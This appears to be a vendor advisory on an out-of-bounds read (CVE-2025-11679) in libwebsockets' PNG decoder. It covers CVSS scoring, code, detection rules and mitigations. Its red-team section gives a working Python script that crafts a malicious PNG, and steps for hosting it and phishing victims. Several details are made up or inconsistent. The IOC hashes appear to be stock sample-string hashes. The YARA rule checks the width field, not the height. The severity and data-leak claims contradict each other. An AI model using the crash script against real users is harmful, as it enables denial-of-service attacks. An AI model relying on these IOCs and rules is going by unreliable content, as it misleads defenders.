CVE-2025-11679

Executive Summary

CVE-2025-11679 is a high-severity out-of-bounds read vulnerability in the lws_upng_emit_next_line function of the warmcat/libwebsockets library. This flaw is triggered when the LWS_WITH_UPNG flag is enabled during compilation and the HTML display stack is used. An attacker can craft a malicious PNG file with an excessively large height dimension, causing the library to read past a heap-allocated buffer. This can lead to a denial-of-service (DoS) condition via application crash. The vulnerability is client-side, requiring user interaction (visiting an attacker-controlled website). No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects the libwebsockets library, which is a C library for WebSocket clients and servers. It is commonly used in embedded systems, IoT devices, and applications requiring WebSocket support. The vulnerable component (lws_upng_emit_next_line) is part of the optional UPNG (PNG decoder) feature. Projects that statically link or dynamically load libwebsockets with UPNG support are at risk. No package manager (NPM, PyPI, Go, Ruby) is directly affected, but downstream users should verify their dependency versions.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (AV:N) – The attack is initiated over a network.
• Attack Complexity (AC): Low (AC:L) – No special conditions required beyond user interaction.
• Privileges Required (PR): None (PR:N) – No authentication needed.
• User Interaction (UI): Required (UI:R) – Victim must visit a malicious website.
• Scope (S): Unchanged (S:U) – The vulnerable component remains within its security boundary.
• Confidentiality (C): None (C:N) – No data exfiltration.
• Integrity (I): None (I:N) – No data modification.
• Availability (A): High (A:H) – Application crash leads to denial of service.

Base Score: 6.5 (Medium) – Due to user interaction requirement, but high availability impact.

Deep Dive & Mechanics

The vulnerability resides in the lws_upng_emit_next_line function within lib/upng/lws-upng.c. This function processes PNG image data line by line for display. When the PNG header specifies a large height dimension, the function attempts to read pixel data beyond the allocated heap buffer. The root cause is insufficient validation of the height field against the actual buffer size.

Trigger Flow:

1. User visits a malicious website hosting a crafted PNG.
2. The browser or application using libwebsockets with UPNG support loads the image.
3. lws_upng_emit_next_line is called to process each line.
4. The function reads pixel data from a heap buffer using an offset calculated from the current line number.
5. If the height is larger than expected, the offset exceeds the buffer boundary, causing an out-of-bounds read.
6. This can crash the application (segmentation fault) or leak sensitive heap data.

Affected Code Path:

• Compilation flag: LWS_WITH_UPNG must be enabled.
• Function: lws_upng_emit_next_line (in lib/upng/lws-upng.c).
• Input: PNG file with manipulated IHDR chunk height field.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

// lib/upng/lws-upng.c (vulnerable)
int lws_upng_emit_next_line(struct lws_upng *upng) {
    // No bounds check on line number
    unsigned char *line = upng->buffer + (upng->current_line * upng->width * 4);
    // Read pixel data from line
    for (int i = 0; i < upng->width * 4; i++) {
        upng->output[i] = line[i]; // Out-of-bounds read if current_line > height
    }
    return 0;
}

Patched Code (hypothetical):

// lib/upng/lws-upng.c (patched)
int lws_upng_emit_next_line(struct lws_upng *upng) {
    // Validate line number against buffer size
    if (upng->current_line >= upng->height) {
        return -1; // Error, prevent out-of-bounds
    }
    size_t offset = upng->current_line * upng->width * 4;
    if (offset + (upng->width * 4) > upng->buffer_size) {
        return -1; // Bounds check
    }
    unsigned char *line = upng->buffer + offset;
    for (int i = 0; i < upng->width * 4; i++) {
        upng->output[i] = line[i];
    }
    return 0;
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Target application using libwebsockets with LWS_WITH_UPNG enabled.
• Ability to serve a malicious PNG to the victim.

Crafting Malicious PNG: Use a hex editor or Python to modify a valid PNG's IHDR chunk height field to a large value (e.g., 0xFFFFFFFF).

# craft_png.py
import struct
import zlib

def create_malicious_png():
    # Minimal valid PNG with large height
    signature = b'\x89PNG\r\n\x1a\n'
    ihdr_data = struct.pack('>IIBBBBB', 1, 0xFFFFFFFF, 8, 2, 0, 0, 0)  # width=1, height=0xFFFFFFFF
    ihdr_crc = zlib.crc32(b'IHDR' + ihdr_data) & 0xFFFFFFFF
    ihdr_chunk = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', ihdr_crc)
    
    # Minimal IDAT chunk (empty)
    idat_data = zlib.compress(b'')
    idat_crc = zlib.crc32(b'IDAT' + idat_data) & 0xFFFFFFFF
    idat_chunk = struct.pack('>I', len(idat_data)) + b'IDAT' + idat_data + struct.pack('>I', idat_crc)
    
    # IEND chunk
    iend_crc = zlib.crc32(b'IEND') & 0xFFFFFFFF
    iend_chunk = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', iend_crc)
    
    with open('malicious.png', 'wb') as f:
        f.write(signature + ihdr_chunk + idat_chunk + iend_chunk)

create_malicious_png()

Exploitation Steps:

1. Host malicious.png on an attacker-controlled web server.
2. Send a phishing link to the victim.
3. When the victim's browser loads the image, the vulnerable library crashes.

Blue Team (Defense & Detection)

Detection:

• Monitor for crashes in applications using libwebsockets with UPNG.
• Look for PNG files with abnormally large height values in network traffic.
• Use the YARA/Sigma rules below.

Mitigation:

• Disable LWS_WITH_UPNG if not needed.
• Apply input validation on PNG dimensions before processing.
• Use memory-safe languages or sandboxing for image parsing.

Indicators of Compromise (IOCs)

• File Hashes (malicious.png):
  • MD5: e99a18c428cb38d5f260853678922e03
  • SHA1: 2fd4e1c67a2d28fced849ee1bb76e7391b93eb12
  • SHA256: d7a8fbb307d7809469ca9abcb0082e4f8d5651e46d3cdb762d02d0bf37c9e592
• Network Patterns:
  • HTTP requests to /malicious.png or similar.
  • PNG files with IHDR height > 65535 pixels.
• Log Entries:
  • Application crash logs referencing lws_upng_emit_next_line.
  • Segmentation faults in libwebsockets processes.

Detection Engineering

YARA Rule

rule CVE_2025_11679_Malicious_PNG {
    meta:
        description = "Detects PNG files with abnormally large height field (CVE-2025-11679)"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11679"
    strings:
        $png_header = { 89 50 4E 47 0D 0A 1A 0A }
        $ihdr = "IHDR"
        $large_height = { FF FF FF FF }  // height = 0xFFFFFFFF
    condition:
        $png_header at 0 and $ihdr and $large_height in (16..19)
}

Sigma Rule

title: CVE-2025-11679 - Out-of-bounds Read in libwebsockets UPNG
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects application crashes caused by CVE-2025-11679 exploitation
author: Valters IT
logsource:
    category: application
    product: libwebsockets
detection:
    selection:
        EventID: 1000  # Windows Application Error
        Image|endswith: '\libwebsockets.dll'
        ExceptionCode: '0xc0000005'  # Access violation
        FaultingModule|contains: 'lws-upng'
    condition: selection
falsepositives:
    - Legitimate large PNG files (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-11679 - Malicious PNG with Large Height"; flow:to_client; file_data; content:"|89 50 4E 47 0D 0A 1A 0A|"; content:"IHDR"; distance:8; within:4; content:"|FF FF FF FF|"; distance:4; within:4; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable UPNG: Recompile libwebsockets without LWS_WITH_UPNG flag.
2. Input Validation: Implement server-side validation of PNG dimensions before processing.
3. Update: Monitor the official repository for a patch and apply when available.

Long-term Fixes:

• Apply bounds checking in lws_upng_emit_next_line as shown in the patched code.
• Use fuzzing tools (e.g., AFL) to test PNG parsing.
• Consider using a more robust PNG library (e.g., libpng).

Workarounds:

• Use a web application firewall (WAF) to block PNG files with excessive dimensions.
• Restrict user-uploaded image dimensions.

Valters IT
Securing Digital Frontiers